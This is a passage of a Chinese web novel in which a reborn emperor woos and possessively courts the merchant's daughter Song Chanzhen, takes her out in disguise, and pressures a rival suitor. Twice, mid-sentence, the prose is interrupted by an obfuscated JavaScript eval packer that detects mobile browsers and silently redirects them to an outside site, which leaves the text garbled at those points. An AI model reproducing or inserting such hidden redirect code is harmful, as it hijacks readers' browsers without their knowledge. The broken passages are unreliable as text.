“朕记得……”终究陈定尧先开口,他无法忍受禅真在自己身边的沉默,“你应是喜欢海棠花,回宫后,朕在御花园为你种满海棠花可好?” 前世,他为了讨她欢心,也是如此做的,从后看来,御花园也确实成了她常去之地。 郭开牙齿一酸,陛下这是都打算好要把宋姑娘带回宫了,而且看这态势,宠爱也是少不了。 “奴……妾身确实喜欢海棠花,尤以西府海棠为最。”禅真眼神中流露出一丝疑惑,“不过陛下是如何知晓的?” 这件事她身边无一人得知,连父亲都不曾知晓。 陈定尧声音中抑制不住愉悦,“或许,是朕与你心有灵犀。” 这是云沂也不曾知晓的关于她的喜好,毕竟前世云沂只和她相处了一年,而他则陪伴了禅真整整七年,对她的各种喜好了如指掌。 听他如此调笑,禅真忍不住脸颊一红,羞涩地低下头,“陛下说笑了。” 至于陛下说的在御花园为她种满海棠花,禅真只当是陛下哄她开心的玩笑话。就算陛下带她回宫,以她的出身也只能从最低的御女做起,哪里值当陛下为她大费心思呢? “这太守府的景色还是比皇宫差了许多。”陈定尧伸手折下身边怒放最盛的一朵芍药,轻轻插入她的发间。 禅真今日穿的是一件石榴红裙,与这朵芍药十分相配。浓烈的红花与乌云般的鬓发相得益彰,衬托着她的脸庞越发娇艳。 他忍不住笑:“不过这花开的还算不错,衬你。” 禅真在他含笑的目光下羞红了脸,情不自禁地抬手去抚摸鬓边的芍药,可惜只触碰到轻柔的花瓣,却无法瞧见自己此时究竟是什么模样。 她头略微向□□斜,抬眸目光湿润地问他:“真的吗?” 陈定尧看着她湿漉漉的眼睛,心中顿时涌起一股柔情,叫他抑制不住地低下头,慢慢靠近想要去吻她。 禅真察觉到他的动作,但是对他的意图却似懂非懂,只是静静地仰头站在原地。随着他的脸越来越靠近,近的让她能感受到他呼吸间喷出的热气,那股热量传递到她的脸上,让她的脸也变的滚烫起来。 她屏住呼吸,心中不知是期待还是害怕,只是用湿漉漉的眼睛静静地看着他。 就在二人的唇即将相触之时,一阵清脆的笑声打破了这暧昧的氛围。 禅真恍然惊醒,下意识别过头,满面羞红地后退了一步,拉开与他的距离。 如果不是身处这开放的园子里,周围还有其他人看着,她都要忍不住双手捧着脸,从地上找条缝钻进去。 她方才在干什么啊?怎么就站在那里一动不动的,差点被人看去,要羞死人了。 与她的羞愧不同,陈定尧抿抿唇,心中十分懊恼。只差一点他就能一亲芳泽,还是禅真第一次如此乖顺地仰着头任他施为。究竟是谁坏了他的好事! 他心中怒火四起,眼神如刀锋似地朝那声音的起源掠过去。 一群花枝招展的女子笑嘻嘻地朝这边走过来,待走近一些才似乎发现已有人在此,忙止住了笑声。 陈定尧的眼神太过锋利,让她们一眼就认出了这是前日曾在宴席上有幸见过一面的陛下,于是手忙脚乱地略整了下仪态,纷纷屈身行礼。 “奴婢见过陛下。” 声音娇娇柔柔,带着江南女子特有的婉转,直叫人酥掉半边身子。 郭开在心里一声“哎呦”,瞧瞧这些美人,各个身娇体软 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当他不知晓吗?昨夜禅真本该在席上同她们一齐献舞,最终却唯独不见她身影,他早令郭开下去查探过,知道她被人陷害剪坏了舞衣。这种争风吃醋的小把戏他在宫中见识的多了,只是因为阴差阳错顺了他的意才没向下追究。现在倒好,她们倒自己送上门了。 前世想必也有这么一遭,云沂如何处理的他无从知晓,但是他绝对不会让自己心仪的女子再平白受了委屈。 “陛下。”禅真看他脸色阴沉,心中犹豫再三还是开口,“她们也是迫不得已。” 圣上南巡将在江南道停留举世皆知,叶太守早已放出风声,会在辖域内寻江南美人伴驾。父亲听闻消息迫不及待地就将她送上门了,有谁在乎她是不是自愿的呢?推己及人,这些女子中兴许也有不少是被家里强迫献出来伴驾的。 陈定尧差点被气笑,这傻姑娘,以为谁都和她一样对天子避之不及,谁究竟是不是对他携带着意图,他怎会看不出来,这十几年的帝位岂不是白坐了。 但是他又不忍心磨灭她的天真,这是禅真最初始的模样,是他前世未曾见过的,还未被任何人沾染过的纯真。 这一世他会是从头到尾唯一一个拥有她全部的男人。 “都起身吧。”他决定顺了她的意。 “多谢陛下。” 领头的许意浓起身时忍不住抬头向禅真看了一眼,又神色复杂地转移了视线。 果然是她拔得头筹。 许意浓想起家中父兄的嘱托,对她寄予的振兴家族的厚望,全被打断了。本来她信誓旦旦,认为无论是容貌还是家世,自己都是其中的佼佼者,直到宋禅真入府,太守大人对宋禅真也异常关注,连迎接圣驾都想着以宋禅真为先,让她恨极。 陈定尧不欲有外人打扰了她与禅真相处,道:“你们都退下。” 说完,他察觉到禅真有远离自己的意图,便一把将她揽过来,扣住她的腰不准她动弹。 禅真被迫与他紧贴,不禁蹙起秀眉。陛下太霸道了,让她一点反抗余地都没有。 “奴婢遵命。”许意浓退下时,余光瞧见她弱不禁风地靠在陛下怀里,忍不进掐紧手指,眼中闪过一丝厉色。 而禅真毫无觉察。 8. 陛下耍无赖 将人都赶走后,陈定尧还有些意犹未尽,揽着禅真的腰想把先前被打扰的事做下去,可看禅真在她怀里别着脸,知晓她心中抗拒,只能无奈地将她松开了。 不能操之过急,来日方长。 禅真从未与人如此亲近,即便知晓自己最终仍是要侍奉他的,但此时还需要一些时间去适应。她默默后退一步,与他拉开一点距离,眼神中带着点防备,生怕他又兴致大发想要轻薄自己。 陈定尧淡淡一笑,也不再强求,神色自然地将原先那一茬掀了过去。 “原先说到哪里?”他略停顿思索了一番,又道,“朕听闻你原是越州人士?” 禅真点头称是,“妾身的家乡确是越州。” “朕还从未去过越州,不若你给朕讲讲你的家乡。”圣驾南巡,也只会停靠在扬州这等繁华之地,无论前世还是今生,他确实从未亲身到过禅真的家乡。 他好奇是什么样的水土才能养出禅真这样的女子。 禅真沉默了许久,才回道:“妾身在闺阁中时从未出过门,对越州也无甚了解。” 八岁之前,她的记忆中只有那座不大的院子,母亲牵着她守在门口,日夜期盼着父亲上门来。八岁之后,她被父亲领回家,也不过是被锁进了另一个大点的庭院,抬头只能看见被分割成方形的天空。至于院子外面的喧哗与热闹,统统与她无关。 听她如此回答,陈定尧胸中顿时涌起一股怜意。是了,宋铭那样的家伙在女儿病重之时都还满脑子想着攀权附会,简直不堪为人父。前世若不是他最后刺激,禅真或许也不会那么早就香消玉殒。 回想起前世禅真辞世时的模样,他眼中掠过一丝冷意,若宋铭非禅真生父,他定会让他生不如死。 然而心中虽有万千杀念,他面上却不露声色,仍保持着端方温和模样。 “无妨,能养出你这样的女子,想必越州必是人杰地灵。此处与越州相隔并不遥远,朕倒是可以趁南巡之机去看一看你的家乡。” 禅真抬头看他,欲言又止。她并不想让陛下去越州,以父亲的性子,若是知晓陛下驾临本地,肯定是想方设法都要凑到陛下面前去献殷勤。宋家虽无一人官身,但是在越州富甲一方,与当地官员也利益牵扯颇深,保不准真有官员为他引见。 犹豫再三还是开口:“陛下,越州只是一个小地方,担不起您的大驾。” 陈定尧听出她话中对自己的家乡并不如何留恋,略微一想便明白了缘由。禅真她应当也是不想再回去宋家,毕竟前世他提举宋家最终也没能讨得她欢心,反倒是宋家鸡犬升天后给她平添了许多骂名。 禅真的出身终究还是个麻烦,他可以给她封妃封后,朝臣的异议也可由他一人挡下。但是为了长久打算,禅真还是需要有个强力的母家,而宋家无论如何也担当不起后族的位置。 他必须早做打算。 “那便不去吧,朕看扬州便是江南最繁华之地了。” 暂且按下心中的思绪,他转向禅真,目中含笑,“朕早想见识一下这烟花三月的扬州美景,禅真你可愿陪同朕一起?” 禅真心跳都加快了频次,有些惊喜睁大眼地问:“妾身可以吗?” 她早就想摆脱这些困住自己的这方小小院落,出去见识见识这天下究竟有多大,锦绣河山到底有多美。 陈定尧望进她璀璨的眼眸,语气深长。 “凡卿所念,朕必如愿。” 禅真心神微动,陛下的目光太温柔,语气也太深长,仿佛将她放在了心尖上,让她几乎受宠若惊。但他是天子,身边从不缺美人陪伴,禅真虽自知貌美可也没不自量力到以为凭借美貌就能让陛下一见倾心。 陛下曾经又对哪些女子说过这些甜言蜜语呢?她不得而知。父亲与母亲情深之时,想必也曾情话绵绵,可最终结局如何?母亲仍是一个人孤零零死在了那座小院,父亲得知后未流下一滴泪,之后也再未提起过她的姓名。 她心知自己不该存在任何妄念,于是垂眸避开了那道火热的目光。 “妾身多谢陛下。” 陛下行动力十足,立马带着禅真回房重新梳整。 既然是微服出门,身上一些不符平民百姓规格的制式都要换下。他解下显得太过庄严肃穆的玄衣,改穿了一件青色衣衫,又用一块普通的云纹玉佩替换下象征帝王身份的龙形珮饰,看起来比平时少了几分威严,反而多了些温润。 郭开急的冒火,在一旁苦口相劝:“陛下,您至少把方统领带上呀,这外面万一哪个不长眼的冲撞您和宋姑娘可如何是好?” 陈定尧兴致勃勃,“不必担心,朕会护好她。” 他并非手不能提肩不能扛的文弱书生,年轻时征战疆场也是风里来雨里去,万人之中取敌将首级也不再话下,怎会护不好自己的女人。 哎哟,郭开几乎要伸手捂住脸,奴才哪是担心宋姑娘出事,是担心陛下您呀。可看陛下这股热切劲怕是已经上了头,这想方设法地都跟宋姑娘独处,宫里的娘娘也没您这样上赶着的呀。 陈定尧整装完毕,回头看见禅真早已准备好,就在门边默默等着他,低着头显得十分乖巧。她几乎没做什么改变,只是换了一双更舒适方便行走的绣鞋。 “可是等侯久了?”他脸上带着笑意,大步走上前。 禅真闻言抬起头,眸中闪过一丝疑惑,陛下不是说微服出巡吗?怎么还打扮的如此花枝招展惹人注意? 她摇摇头:“妾身也是方才整理好。” 陈定尧将她从头到尾细细看了一遍,又对郭开吩咐道:“给朕寻一顶帏帽来。” 他的禅真如此美貌动人,走在街上定会被好色之徒觊觎,那种垂涎的目光他只是设想一下就怒从心起。 这是朕的人,绝不容许任何人来染指。 禅真倒未有有抗拒,她知晓自己的容貌有多惹人注意,戴上帏帽能少些麻烦自然最好。 等待之时,陈定尧目光一刻也未从她身上离开过,忽然想起什么,他面上露出一个意味深长的笑容,又仿佛不经意地随意提起道:“既然是微服出巡,这称谓自然也要做些遮掩。” 禅真不知他作何打算,只顺从道:“妾身都听陛下的。” 他笑意愈深:“既如此,在外便无需称朕为陛下了。” 不称陛下,那称什么?禅真不解地望着他。 “朕自小长于宫闱,倒不知寻常百姓家中,妻子在外是如何称呼自己的丈夫?”他的语气中带了一丝|诱哄,“禅真,你可为朕解答一下?” 禅真多脸“轰”一下就红了,不自觉后退一步。 见她后退,陈定尧反上前一步向她逼紧,追问道:“朕实在好奇,禅真,你待如何称呼朕?” 禅真心慌意乱地低下头,避开他火热的视线,唇唇几番蠕动却始终没好意思叫出口。 陈定尧并未再度逼紧,禅真生性胆怯,若是逼的紧了她又要将自己缩起来,反而过犹不及。见她脸似红霞,窘迫地都不敢对上自己的眼睛,他轻笑一声: “夫君,或是尧郎,禅真你选哪个?” 禅真被逼急了心中也有几分羞恼,几乎想要白他一眼,但是想到这个无赖是陛下,又叫他泄了气。半晌,才做出抉择,声若蚊蝇:“尧……尧郎。” 总是比夫君好上一些。 从她口中听到“尧郎”这个称呼,陈定尧心中大喜,几乎抑制不住想要上前将她拥入怀中。尧郎,他只在年幼时被母后如此称呼过,前世至死禅真都只是冷冷地唤他“陛下”,即便他再如何威逼利诱都不曾改口。 被心爱的女子如此呼唤,内心喜悦的仿佛今世只为她这一声“尧郎”而重生便值了。 “禅真。”他心中涌起无限柔情,却不知从何说起,一时竟激动的像个毛头小子,“以后便如此称呼朕吧。” 禅真却无论如何也不愿第二次开口了。她虽不知陛下的真实名姓,但“尧郎”这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13251034|139608||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 称呼想来必是亲密至极,别说她其实还未侍寝真正成为他的女人,便是宫中的娘娘也是并无几人敢如此称呼他吧?他如今喜爱她还好,可是君心说变就变,若是厌恶她了怕这一声“尧郎”又会坐实她的僭越之罪。 “陛下,时日不早了。”禅真别开脸转移了话题。 陈定尧眼中一暗,有些可惜地轻叹一声,转念一想有了第一次总会再有下一次,至少比之前世禅真待他的态度已是好上了太多。 “那便走吧。”他从郭开手上接过帷帽,替禅真戴上,给她的面庞遮的严严实实。 春风十里扬州路,卷上珠帘总不如。 无怪扬州被誉为江南最繁华之地,沿街一路,店铺云集,行人纷纷,摩肩接踵。比起帝都的庄严肃穆,扬州的人间烟火气息更足。 避免行人冲撞,禅真几乎是被陛下揽在怀中行走。陛下放置在她腰间的手掌她已无暇顾及,只目不转睛地看着周围的市井繁华,神情雀跃不能自已。 陈定尧一路揽着她,带她避开四周的行人。方登基之时,他尚且年轻气盛,曾经多次组织过南巡,这江南景色也早已看厌。是以前世此时,他直接将南巡的重任甩给了云沂,一方面是为了锻炼云沂的能力以为立储一事铺垫,另一面也有眼光疲倦之故。但是和禅真一同出来游玩,却是从未有过的体验。 看着她雀跃的神情,这一路早已熟悉的风景竟也变得新奇起来。 禅真被路边的一个小铺引去了注意,铺上摆的并非多么精贵的物事,只是用手捏制成的一个个陶土娃娃,这些小娃娃形态各异,无一相同,各个活灵活现地站着,脸上笑眯眯的十分喜庆。 铺主是个激灵人,见这两位浑身衣饰气度皆是不凡,连忙招呼上,脸上摆出客气的笑容。 “公子姑娘看看,可有喜欢的?” 禅真先是抬头,想要问过陛下的意思,毕竟陛下才是能做决策之人,她虽喜欢可陛下出身金贵,也不知看不看得上眼,会不会觉得这些陶土娃娃太过粗鄙配不上他的身份。 却见陛下饶有兴致地伸手拿起一个娃娃,示意给她瞧:“禅真见这个如何?” 禅真定睛一瞧,发现陛下的眼光竟然难得与自己一致,她也是一眼就看中了这个男娃娃,脸颊胖乎乎的,做出拱手的姿势,十分憨态可掬。 “妾身也是看中了这个娃娃,不知为何总是感觉很亲切,也很可怜。” 见她一副爱不释手的模样,陈定尧笑容微敛,心头涌上苦涩。 看到这个娃娃的第一眼,他便想起了元昭,前世他和禅真那个早夭的孩子。禅真生下元昭时有些艰难,是以元昭从小身体便比寻常孩子要弱一些,他和禅真百般呵护终于将元昭养到了三岁,可一场风寒又措不及防带走了他。 他时时回想,元昭出生后他和禅真的关系已有了几分缓和,长此以往,他们之间未必不能冰释前嫌,举案齐眉携手到老。重来一世,元昭虽还未降世,禅真也未有前世记忆,可对这个孩子仍是存在几分特殊的感觉。 “那便买下这个可好?”虽是询问的语气,他却直接付了钱。 铺主看着偌大的一锭银子手足无措,“公子,要不了这么多。” 陈定尧神色坦然,“多的就做是为你手艺的赏赐。” 禅真从他手上接过那个陶土娃娃,捧在手心里越看越是喜欢,几乎不舍得移开目光。可是在大街上毕竟不太方便,只得暂时先收了起来。 “再去别处看看?”陈定尧提议。 禅真点点头,方转身视线中就撞进一个颇为熟悉的身影,也是同陛下一样身着青衣,目光怔怔地在对面不知看了他们多久。 与此同时,陈定尧也察觉到了她的目光所在,顺着看过去发现是一个陌生的年轻男子,脸上笑容立即就消失了,神色也冷了下来。他眼睛微眯,锐利的目光挑剔地将那男子上下打量一遍,心中涌起一丝不虞。 这是谁?看上去是与禅真之前相识。 9. 陛下咄咄逼人 “宋姑娘。”来人走上前,对上陛下似乎斟酌了许久方才开口,“陈公子。” 禅真不晓他隔着帷幕是怎么认出自己的,但既然已被认出来了她也大大方方地承认,屈身朝他盈盈一拜:“叶公子。” 来人正是叶太守的长子叶青堂。 陈定尧目光微沉,此人倒是乖觉,没在街上直接点出他们的身份。但是明知自己的身份,却先一步和禅真打招呼,甚至隔着帏帽就认出是禅真,这些心思…… “禅真,这位公子是?”他转头问,脸上笑意却不达眼底。 禅真总感觉陛下现在的笑容颇有些危险,硬着头皮解释:“这位是叶太守府上的大公子。” “原是叶卿的爱子。”陈定尧似笑非笑地看着他,“果真是少年英才。” 叶青堂并非迟钝之人,自然听出陛下对自己的态度不算友善,但是他未多想,毕竟一直听闻陛下性格喜怒无常。 他只沉声回道:“公子谬赞了。青堂本无意打扰公子与宋姑娘,只是见公子身边未有侍卫跟随,心中颇为担忧方才停留了片刻,还请公子恕罪。” “是么?”陈定尧目光锐利,“叶公子是为这个缘由才停下?呵,那本公子倒不得不夸奖你一句忠君爱国了。” 叶青堂承受着来自他的巨大压力,声音却依旧沉稳:“陈公子的安危关系甚大,青堂不得不多留意。若是有所打扰,青堂自请离去,亦不会向他人透露公子的半分行迹,公子尽可放心。” 听了他的话,陈定尧却朗声笑起来。 “本公子岂是那些小肚鸡肠之人,青堂一心为君,本公子身边若人人皆是你这般忠才贤良,必会减少许多后顾之忧。” “公子身边贤才众多,青堂实在担当不起。”叶青堂是真切感受到了陛下的喜怒无常,虽然陛下现在看似开怀,可他身上的压力却没有丝毫减轻,让他一点也不敢放松。 禅真在一旁默默看着他二人间的交谈,浑然插不进什么言语,只觉得这君臣二人面上一派和谐可堪流传为一段佳话,细细品味却又仿佛经历了数次刀光剑影。 一个是陛下,一个是太守府的大公子,左右哪个都是她得罪不起的,与她也没有太大关系,索性就做个局外人吧。 可偏偏有人偏要拉她入局。 “青堂何必如此谦虚。”陈定尧微眯起眼,他生了一双凤眼,看起来却不像女子那般多情,反而锋利的叫人不敢直视,“相遇即是有缘,本公子也许久未与你这般少年英才交谈,不若寻个酒楼坐下,好让本公子仔细了解下这江南道的民生民情。” 接着,他扭头见禅真一副事不关己高高挂起的出神模样,视线根本未停留在自己身上心里有些来气,声音却显得越发温柔,“禅真走了许久也累了吧,不如坐下歇会儿。” 禅真感受着他扣在自己腰间的手臂,心里有些无语。陛下总是这样,嘴上打着商量的语气,实际却不给人拒绝的余地。 “妾身听您的。”陛下都这样紧紧扣着她了,她还能自己往哪儿去。 陈定尧余光扫过叶青堂,见他在禅真说话的那一刹那,身体果然有些僵硬。他目中闪过一丝冷意,果然这家伙对禅真有所企图。 “那就请青堂带路吧。”尽管心中已有杀意,他面上却不露分毫,在禅真面前依旧维持着端方温和的模样。 叶青堂捏紧拳头,尽力让自己在陛下面前不要暴露出那些不该有的念头。 “青堂领命。” 三人寻了一家酒楼,开了间靠窗的包厢坐下。 临窗而望,琳琅街市尽收入眼中,好似一张图卷在眼前缓缓展开。禅真忽然有些好奇,不知道陛下眼中的江山是什么模样,站的那样高,见到的景色肯定也会更加壮阔辽远吧? “禅真?”面前突然递过来一盏热茶,碧绿的茶叶在清汤中悠悠地飘浮,雪白的茶沫似梨花点点绽开,散发出的茶香沁人心脾。禅真抬头,正迎上陛下温和的目光,在缓缓上扬的热气里显得有几分朦胧。 她欣然接下:“多谢陛下。” “虽比不上宫廷御茶,只作解渴之用倒也尚可。”陈定尧只略饮一口便放下,“青堂以为如何?” 叶青堂坐下后再无其他动作,听他提问方才回复:“陛下天潢贵胄,此等粗鄙之物自然配不上陛下身份。” “是么?”陈定尧手中缓缓把玩着另一只空茶盏,声音不紧不慢,“粗鄙之物配不上朕的身份,那若是有一粗鄙之人,觊觎朕的东西,青堂以为又当如何?” 叶青堂倏地惊下一头冷汗,强自保持镇静:“陛下多虑,敢问这世上有谁人敢觊觎陛下的东西?” “哈哈。”陈定尧大笑起来,眼神玩味,“这世上可并不少胆大之人。” 他手指轻轻一弹,原本把玩着的茶盏就稳稳落在了桌上,“青堂如今可已娶妻?” 叶青堂感觉到一股无形的压力冲自己而来,他低着头,并不敢往陛下身旁的宋姑娘看去一眼。 “回陛下,青堂尚未娶妻。” “哦?这是为何?”陈定尧状似好奇,“青堂少年俊才,又出身太守府,怎会至今未娶?” 叶青堂抱手,“昔日骠骑大将军霍去病曾言‘匈奴未灭,何以家为’,青堂自幼便立志向霍将军学习,未登科进士决不成家。” “叶卿竟也任了你去?”陈定尧看似接受了他的说法,语气间有些叹息,“骠骑大将军少年志气,年纪轻轻便连破匈奴立下赫赫战功,着实令人感叹。可惜因病早逝,这未成家留下后代一事也成了武帝晚年的心病。朕却不希望自己的臣子也是如此,不若朕为你指一门婚事?” “陛下!”叶青堂再也维持不住冷静的姿态,声音都变了调。 陈定尧缓缓抬眸,“青堂可是有何不满?” 他声音虽轻,却有一股不容违逆的威严,让叶青堂冷汗直下,再也说不出一个字来。 包厢中的氛围一时陷入僵持,最终还是禅真打破了僵局。 “陛下,妾身为您沏了一杯茶,您尝尝?”禅真双手捧杯,献宝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13251035|139608||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一般举到他面前,眼睛弯弯地看着他笑。 陈定尧被她打断,有些无奈地摇了摇头:“禅真,你可真是……” 禅真当没有感受到任何异常,只是皱了皱眉,“妾身花了好大功夫才沏好这杯茶,陛下您就不尝尝吗?莫非是嫌弃妾身的手艺?那也没办法,妾身长于乡野,确实比不过您宫中的手艺。” 她面上状似和平常说话并无两样,手心里却紧张地出了一层汗,生怕陛下看出她的用意。可是叶公子毕竟曾经帮助过她,她又不能不投以回报。她还是第一次见叶公子这么慌张失了风度,也不知陛下是怎么了,非要和他过不去。 陈定尧前世与她相伴多年,对她的各种小习惯了如指掌,更何况她根本就不懂得掩饰。他看出禅真是想为叶青堂解围却不挑明,只是从她手中接过茶盏,“朕何时嫌弃过你,禅真你可不要冤枉了朕。” 禅真尽量装作镇定,笑吟吟道:“妾身就知道陛下最是英明神武了。” “哦?”陈定尧看着她那飘忽不定的眼神,心中忍着笑,“那禅真说说,朕英明神武在哪里?” 禅真绞尽脑汁,眉头都打成了结:“陛下……陛下十分体恤民生,还关心百姓的婚姻大事。” 她抬眸悄悄看陛下一眼,见他正低眉品着自己递过去的茶盏,似乎并未察觉到自己在撒谎,心里顿时长舒了一口气,剩下的话才敢说出来。 “不过妾身认为,婚姻大事并非儿戏,需得当事人首肯,否则牵错了姻缘反而误事。” “嗯。”陈定尧饮完茶,将杯子往桌上轻轻一放,赞同的道,“禅真所言有理,朕受教了。” 闻言,叶青堂终于放下心来。想来陛下不会再执意为他指婚了,还要多谢宋姑娘,看陛下的态度,对宋姑娘亦是十分宠爱…… 禅真忍不住窃喜,她总算帮叶公子解了围,没想到陛下这么好说话。她高兴的眼睛都眯了起来:“叶公子年纪尚轻婚姻之事也不急于一时,兴许等叶公子登科进举后,就能遇到真正心仪之人收获良缘。” 陈定尧听她说完这句话,心中那股微妙的不虞才终于全部散尽。叶青堂对禅真有所企图又如何,禅真却并未将他放在心上过。 “如禅真所言,婚姻之事需得当事人首肯,那禅真对于自己的婚姻大事又是如何想的?”陈定尧终于借此机会问出了自己最想知道的问题。 今世,禅真可是愿意成为他的女人? 禅真笑脸微僵,在陛下逼视的目光下缓缓低下头,“妾身自然是愿意的。” 撒谎。陈定尧第一次恨自己为何要如此熟悉她的习惯,为何要一眼就瞧出她的心虚,让他连欺骗自己她是愿意的也做不到。 他缓缓捏紧手中的茶盏,即便心中风起云涌,面上仍是一派春风和朗。 “禅真愿意自是最好。” 即便不愿,他也不可能松开手放过她。 禅真忽然就没了再四处闲逛看风景的心情,即便走出了院子,她在陛下身边还是并未感受到多少自由。 10. 陛下替她来宫斗 叶青堂的出现终究叫陛下扫了兴趣,那天的后半段禅真也魂不守舍的,全无了刚出门的惊喜和期待,一路上二人并肩行走却神思各异。 回到叶府时已近傍晚,所幸陛下似乎与太守有要事相谈,一回府便进了书房,至深夜也未曾回房,倒让禅真享受了片刻难得的自在。 之后,陛下便忙碌了起来,禅真虽与他同宿一屋,一天到晚也难得与他见上几面。只是偶尔深夜在熟睡后,能够隐约感受到身旁会突然多了一个人的温度,没等她睁开眼,一只手便轻轻地抚了下她的头顶,然后将她揽入了怀中。 “睡吧。”轻柔的声音仿佛只是她的一场梦。 于是禅真又沉沉睡起,第二天醒时又不见陛下的身影,好似这几天都只是她一人孤身入睡。 禅真知晓陛下就在相隔不远的书房里,却始终未曾主动上前敲响那扇门,直至今日,陛下身边的郭公公前来告诉她,陛下请她去书房侍墨。 “陛下,宋姑娘到了。” 禅真在郭开的带领下来到书房门外,却见郭开禀报完后就退到了边上,只伸手示意让她一人进去。 “进来吧。” 听到陛下的声音后,禅真忐忑地伸手推开门。 一进门里鼻尖便萦绕着一股淡淡的墨香,陛下端坐在书案前,正低头处理着桌上叠放得高高的奏章。禅真并不敢打扰到他,脚步轻轻地走上前,还未等俯身行礼,便被陛下打断。 “在朕面前不必拘礼。”陛下放下手中的毛笔,揉了揉额角,眉头舒展开一些才唤她到身边,“过来替朕研墨。” “是,陛下。”禅真缓步走到他身边,见案边的砚台上只余下浅浅的一洼墨汁,自觉伸手拿起边上的墨条缓缓研磨起来。 自古男人皆爱红袖添香那一套,天子也不例外。陈定尧看着她认真的模样,心绪顿时平静下来。 宫中虽有三位皇子共同监国,但他们能做的也不过是在奏折上写下自己的见解,最终还是要快马加鞭把奏折送到他这边由他来决策。南巡这些天已经积累了不少奏折,是以这几日他几乎是泡在书房,只有夜间休息时才能回房拥着她安心入睡。 “朕此次南巡离宫已有些时日,最多再过三天,便要计划返回皇城。” 禅真闻言,手中的动作稍稍一顿,随即又若无其事地继续下去,思绪却渐渐飘远。陛下再过两日便要回宫了,她呢?不知陛下要如何处置她。如若不能同陛下回宫,父亲达不成心愿又要将她送往哪里? 虽说她未曾真正侍寝,可这几日她与陛下同吃同宿,外人早已当她成为了陛下的女人,一个侍奉过陛下却又没被带回宫的女子,等待她的将会是什么下场可想而知。 看出她的不安,陈定尧伸手将她揽入自己怀中,“禅真你自然也是要随朕一起。” 禅真浑身绷紧地坐在他的怀中,不敢乱动一下,眼睛只低着地面:“妾身多谢陛下。” 心中却舒了一口气,至少陛下愿意带她回宫,后面会被封为什么位份,能不能得到陛下的宠爱,是否能在后宫斗争中安然无恙活下去,她已无暇多思。 陛下轻轻抚摸着她的脸颊,感受到她微微的颤抖,忽然开口道:“朕封你为贵妃可好?” 虽然他更想直接封禅真为自己的皇后,可封后一事事关重大,朝中那群老臣必不会同意。 前世禅真封贵妃之时已引起朝中许多争议,更有刚直的老臣当场触柱直谏血洒朝堂,即使后续被他强势镇压了下来,可到底给禅真造成了许多骂名。今世禅真虽无曾为晋王侍妾的经历,可以商户之女身份直接封后前朝亦是从未有过,为了禅真声誉他只能暂退一步再徐徐图之。 禅真惊讶抬头,见他神情认真不似说笑,可自己无论如何也不敢相信。本朝向来重农轻商,商人户籍亦为市民最下等,不可参加科举,不可入朝为官,更不可与官员结亲,是以父亲虽看重她美貌,却也从未想过她能成为某位官员的正室,只将她为权贵妾室培养。之前也从未有过商户出身的女子入宫得封高位妃嫔的事迹,眼下陛下却说封她为贵妃,四妃之首仅次于皇后,这叫她如何相信? 她眉头微皱,目光便显得有些幽怨:“陛下莫要与妾身说笑,妾身不过是商人之女,哪里配得上贵妃的位份?” 她原本想着自己哪怕进了宫也是要从最低的御女做起,能在有生之年爬到才人的位份已经实属大幸了。 “朕并非说笑。”陈定尧轻笑着揉了揉她紧皱的眉心,“朕可不会委屈了自己心爱的女人。” 前世她曾做过晋王侍妾,他都力排众议封她为贵妃了,今世少了那样一重身份,他若连个贵妃位都不能给予她,岂不是显得太无能。 禅真眉头被他揉的渐渐松开,神情中带着几分疑惑,“禅真不过与陛下相识几日,可也清楚陛下并不是沉迷美色之人,而禅真除了这张脸别无长处,陛下因何会对妾身如此爱重呢?” 这是她一直想不通的地方,她一无身份、二无才情,连性格也实在胆怯算不上善解人意,除了这张脸她不晓得陛下还会看上她哪里,可若陛下喜爱她的容貌,却又一直未曾碰她。 她疑惑的神情实在可爱,陈定尧忍不住凑上去轻吻了下她的眉心,一触即离。 “或许,朕与你前世有缘。” 即便在禅真看来那只是段孽缘。 禅真抬手,怔怔地摸着眉心被他吻过的地方,一时忘了言语。 …… 临走前尚有需要事物需要处理,陈定尧虽是为了禅真才亲身南巡一趟,可既然来了到底要担当起身为帝王的责任。江南道为全国繁华之地,商贾云集,货运亨通,也滋生了不少腐败案事,这几日他趁机接连处置了多名贪官污吏,菜市口的血迹洗了又干,一层铺着一层,几乎将地面染成了赤黑色,只是他怕惊吓到禅真才没让消息传到她耳朵里去。 今日他亲自监斩了一名高阶官员,回到叶府时天色已深。刚从刑场出来,他面色冷肃,全身都缠绕着一层寒意,挥袖时一股血腥味挥之不去。郭开和方问紧紧跟在他身后,见陛下行走如风却连声都不敢出一下。 刚杀完人的陛下是最可怕的,谁有这胆子再撞到枪口上。 陈定尧也闻到了自己身上的血腥味,皱着眉正想着先去洗干净这身气息,再回房与禅真见面,却在经过花园时被一个身影拦下。 许意浓知晓陛下今日前去监斩,晚上归来时必会经过这条园中小径,提前在此等候了许久,才终于迎来陛下身影。听闻陛下明日便要起驾回京,今晚是她最后的机会,她一定要抓紧。 “奴婢拜见陛下。”许意浓声音娇柔地道,同时在行礼时刻意显出自己窈窕的身姿。 陈定尧冷漠地从她身旁掠过,未曾停顿半分。 许意浓见陛下竟这样无视过自己,忍不住嫉恨地掐紧了手心。抬起头看着陛下冷漠的背影,她再一次放大了声音喊道:“陛下,奴婢有要事相告!是关于禅真妹妹的。” 听见“禅 